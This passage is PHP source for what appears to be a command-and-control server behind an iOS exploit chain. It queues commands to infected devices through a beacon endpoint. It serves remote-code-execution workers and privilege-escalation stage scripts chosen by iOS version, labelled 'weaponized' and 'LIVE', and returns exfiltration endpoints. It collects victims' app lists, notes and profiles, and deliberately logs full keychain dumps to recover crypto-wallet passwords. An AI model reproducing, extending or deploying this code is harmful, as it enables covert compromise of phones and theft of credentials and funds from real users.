path(), '/'); if (! in_array($path, ['/a', '/u', '/nb', '/event', '/result'], true)) { return false; } if ($request->headers->has('x-ts') && (string) $request->header('x-ts') !== '') { return false; } $ct = strtolower((string) $request->header('content-type', '')); if (str_contains($ct, 'json')) { return true; } $raw = ltrim((string) $request->getContent()); return $raw !== '' && ($raw[0] === '{' || $raw[0] === '['); } public function beacon(Request $request): SymfonyResponse { $payload = $this->jsonBody($request); $device = $this->ingest->ensureDevice($request, $payload); $command = $device ? $this->beaconQueue->dequeue($device, $request->ip()) : null; $body = [ 'ok' => true, 'type' => $command['type'] ?? 'noop', 'client_ip' => $request->ip(), 'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null, ]; if ($command !== null) { $body['command_id'] = $command['command_id']; $body['params'] = $command['params']; } return $this->finish($request, '/beacon', $payload, response()->json($body)); } public function war(Request $request): SymfonyResponse { return $this->ok($request, '/war', $this->jsonBody($request)); } public function p(Request $request): SymfonyResponse { return $this->ok($request, '/p', $this->jsonBody($request)); } public function stats(Request $request): SymfonyResponse { return $this->finish($request, '/stats', $this->jsonBody($request), response()->json([ 'bytes' => strlen((string) $request->getContent()), 'ok' => true, 'path' => '/stats', ])); } public function log(Request $request): SymfonyResponse { $payload = $this->payloadFromQueryOrJson($request); return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request), ingest: false); } public function peStage(Request $request, string $name = ''): SymfonyResponse { $path = '/'.ltrim($request->path(), '/'); $stage = $this->peStageName($name !== '' ? $name : $path); $payload = $this->payloadFromQueryOrJson($request); $payload['pe_stage'] = $stage; $payload['stage'] = $payload['stage'] ?? 'pe'; $payload['label'] = $payload['label'] ?? ('pe_stage:'.$stage); $body = $this->previewBody($request); if (is_array($body)) { $body['pe_stage'] = $stage; } $file = public_path('next-chain/pe_stage/'.$stage.'.js'); if (! is_file($file)) { $file = base_path('channel-builder-ds/source/pe_stage/'.$stage.'.js'); } $js = is_file($file) ? (string) file_get_contents($file) : 'ok'; return $this->finish( $request, $path, $payload, response($js, 200)->header('Content-Type', 'application/javascript; charset=utf-8'), $body ); } public function register(Request $request): SymfonyResponse { $payload = $this->jsonBody($request); $device = strtoupper((string) ( $payload['deviceUUID'] ?? $payload['device'] ?? $payload['uuid'] ?? $request->header('X-Device-UUID') ?? '' )); $device = substr(preg_replace('/[^0-9A-F]/', '', $device) ?? '', 0, 32); $ios = (string) ($payload['ios'] ?? $payload['ios_version'] ?? $request->query('ios', '')); return $this->finish($request, '/api/ds/device/register', $payload, response()->json([ 'ok' => true, 'device' => $device, 'deviceUUID' => $device, 'device_id' => $device, 'aliased' => false, 'ios_version' => $ios, 'target_chain' => (string) ($payload['chain'] ?? 'darksword'), 'target_chain_label' => 'D鏈', 'offset_params' => [ 'ok' => true, 'mode' => 'probing', 'device' => null, 'xnu' => str_starts_with($ios, '18.6') ? '24.6' : null, 'build' => null, 'candidates' => [], 'hint' => 'device model required (iPhoneN,M); refuse xnu-only kernelTask inject', ], 'sla_ms' => 15000, 's5_honest' => '', ])); } public function chainTargets(Request $request): SymfonyResponse { $forwarded = (string) $request->header('X-Forwarded-Host', ''); if ($forwarded !== '') { $hostPort = explode(':', $forwarded, 2); $host = $hostPort[0]; $port = isset($hostPort[1]) ? (int) $hostPort[1] : (int) $request->header('X-Forwarded-Port', $request->getPort()); $scheme = (string) $request->header('X-Forwarded-Proto', $request->getScheme()); } else { $host = $request->getHost(); $port = (int) $request->getPort(); $scheme = $request->getScheme(); } $scheme = strtolower((string) $scheme); if ($port === 443) { $scheme = 'https'; } $base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port); $ios = $this->requestIos($request); $ds = PageVisit::isDarkSwordIosVersionString($ios); if ($ds) { [$recommended, $fallbacks] = $this->chainTargetWorkers($ios); $chain = 'darksword'; $reason = 'DarkSword '.$ios; } else { $recommended = ''; $fallbacks = []; $chain = 'coruna'; $reason = 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)'; } return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([ 'ok' => true, 'chain' => $chain, 'weaponized' => true, 'gated' => false, 'ios' => $ios, 'reason' => $reason, 'recommended_worker' => $recommended, 'fallback_workers' => $fallbacks, 'band' => [ 'recommended_worker' => $recommended, 'fallback_workers' => $fallbacks, 'usable_for_attempt' => $ds, 'usable_grade' => 'LIVE', 'weaponized' => true, ], 'exfil' => [ 'host' => $host, 'domain' => $host, 'http_port' => $port, 'https_port' => $port, 'tls' => $scheme === 'https', 'prefer_https' => $scheme === 'https', 'stats_url' => $base.'/stats', 'stats_url_direct' => $base.'/stats', 'delivery_stats_url' => $base.'/stats', ], 'delivery_ok' => true, 'entry_point' => '', 'redirect_to' => '', 's5_module' => '', 'usable_grade' => 'LIVE', ])); } public function profile(Request $request): SymfonyResponse { return $this->ok($request, '/a', $this->jsonBody($request)); } public function apps(Request $request): SymfonyResponse { return $this->ok($request, '/u', $this->jsonBody($request)); } public function notes(Request $request): SymfonyResponse { return $this->ok($request, '/nb', $this->jsonBody($request)); } public function event(Request $request): SymfonyResponse { return $this->ok($request, '/event', $this->jsonBody($request)); } public function result(Request $request): SymfonyResponse { $payload = $this->jsonBody($request); // For wallet_scan results, log the full untruncated body so the // keychain dump (incl. trustwallet password items) is preserved verbatim. $logBody = $this->walletScanLogBody($request, $payload); return $this->finish($request, '/result', $payload, response()->json(['ok' => true]), $logBody); } /** * @param array $payload */ private function ok(Request $request, string $path, array $payload): SymfonyResponse { return $this->finish($request, $path, $payload, response()->json(['ok' => true])); } private function logAck(Request $request): SymfonyResponse { if ($request->isMethod('GET') || $request->isMethod('HEAD')) { return response('ok', 200)->header('Content-Type', 'text/plain; charset=utf-8'); } return response()->json(['status' => 'accepted']); } /** * @param array $payload * @param array|string|null $logBody */ private function finish( Request $request, string $path, array $payload, SymfonyResponse $response, array|string|null $logBody = null, bool $ingest = true, ): SymfonyResponse { if ($ingest) { try { $this->ingest->ingest($request, $path, $payload); } catch (\Throwable $e) { error_log('[ds] ingest '.$path.' '.$e->getMessage()); } } $body = $logBody ?? $this->previewBody($request); $respPreview = $this->previewString((string) $response->getContent(), 4096); $uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['uuid'] ?? $payload['device'] ?? $payload['device_id'] ?? $request->attributes->get('coruna_device_key'); if (Device::captureEnabledForKey(is_string($uid) ? $uid : null)) { $entry = [ 'dir' => 'ds', 'method' => $request->method(), 'path' => $path, 'ip' => $request->ip(), 'query' => $request->query(), 'headers' => c2_log_request_meta($request)['headers'], 'body' => $body, 'response' => $respPreview, ]; create_log($entry, 'ds'); error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview); } return $response; } /** * Match live one99.vip GET /api/chain-targets (probed 2026-08-21). * Query `ios=` wins over User-Agent; UA is used only when the query is empty. */ private function requestIos(Request $request): string { $ios = (string) $request->query('ios', ''); if ($ios !== '') { return $ios; } $ua = (string) $request->userAgent(); if (preg_match('/(?:iPhone )?OS (\d+)[._](\d+)(?:[._](\d+))?/i', $ua, $m)) { $out = $m[1].'.'.$m[2]; if (($m[3] ?? '') !== '') { $out .= '.'.$m[3]; } return $out; } return ''; } /** * Workers only for the DS allowlist (18.5 / 18.6 / 18.6.1 / 18.6.2). * * @return array{0: string, 1: list} */ private function chainTargetWorkers(string $ios): array { $canon = PageVisit::canonicalIosVersion($ios); return match ($canon) { '18.5' => ['rce_worker_18.5.js', ['rce_worker_18.6.js']], default => ['rce_worker_18.6.js', []], }; } private function isDefaultPort(string $scheme, int $port): bool { return ($scheme === 'http' && $port === 80) || ($scheme === 'https' && $port === 443); } private function peStageName(string $path): string { $name = basename($path); $name = (string) preg_replace('/\.js$/i', '', $name); $name = strtolower((string) preg_replace('/[^a-z0-9_]/', '', $name)); return $name !== '' ? $name : 'unknown'; } /** * @return array */ private function payloadFromQueryOrJson(Request $request): array { $payload = $this->jsonBody($request); if ($payload !== []) { return $payload; } $query = $request->query(); return is_array($query) ? $query : []; } /** * @return array|string */ private function previewBody(Request $request): array|string { if ($request->isMethod('GET') || $request->isMethod('HEAD')) { return ['query' => $request->query()]; } $ct = strtolower((string) $request->header('content-type', '')); if (str_contains($ct, 'multipart/')) { $files = []; foreach ($request->allFiles() as $key => $file) { $list = is_array($file) ? $file : [$file]; foreach ($list as $f) { $files[] = [ 'field' => $key, 'name' => $f->getClientOriginalName(), 'size' => $f->getSize(), ]; } } return [ 'multipart' => true, 'form' => $request->except(array_keys($request->allFiles())), 'files' => $files, ]; } $raw = (string) $request->getContent(); $json = json_decode($raw, true); if (is_array($json)) { return $this->truncateArray($json); } return $this->previewString($raw, 4096); } /** * @return array */ private function jsonBody(Request $request): array { $json = json_decode((string) $request->getContent(), true); return is_array($json) ? $json : []; } /** * wallet_scan results carry the keychain dump (base64) in `data`. * Return the full decoded payload so create_log() writes it verbatim * (no 512-byte truncation), letting us recover trustwallet password * items from the ds log afterwards. Non-wallet_scan results return null * and fall back to the truncated preview. * * @param array $payload * @return array|null */ private function walletScanLogBody(Request $request, array $payload): ?array { $category = (string) ($payload['category'] ?? ''); $filename = (string) ($payload['filename'] ?? ''); if ($category !== 'wallet_scan' && ! str_contains($filename, 'keychain_c2_dump')) { return null; } $json = json_decode((string) $request->getContent(), true); return is_array($json) ? $json : $payload; } /** * @param array $data * @return array */ private function truncateArray(array $data, int $maxStr = 512, int $depth = 0): array { if ($depth > 4) { return ['_truncated' => true]; } $out = []; $i = 0; foreach ($data as $k => $v) { if ($i++ > 80) { $out['_more'] = true; break; } if (is_string($v) && strlen($v) > $maxStr) { $out[$k] = substr($v, 0, $maxStr).'…['.strlen($v).' bytes]'; } elseif (is_array($v)) { $out[$k] = $this->truncateArray($v, $maxStr, $depth + 1); } else { $out[$k] = $v; } } return $out; } private function previewString(string $raw, int $max): string { if (strlen($raw) <= $max) { return $raw; } return substr($raw, 0, $max).'…['.strlen($raw).' bytes]'; } }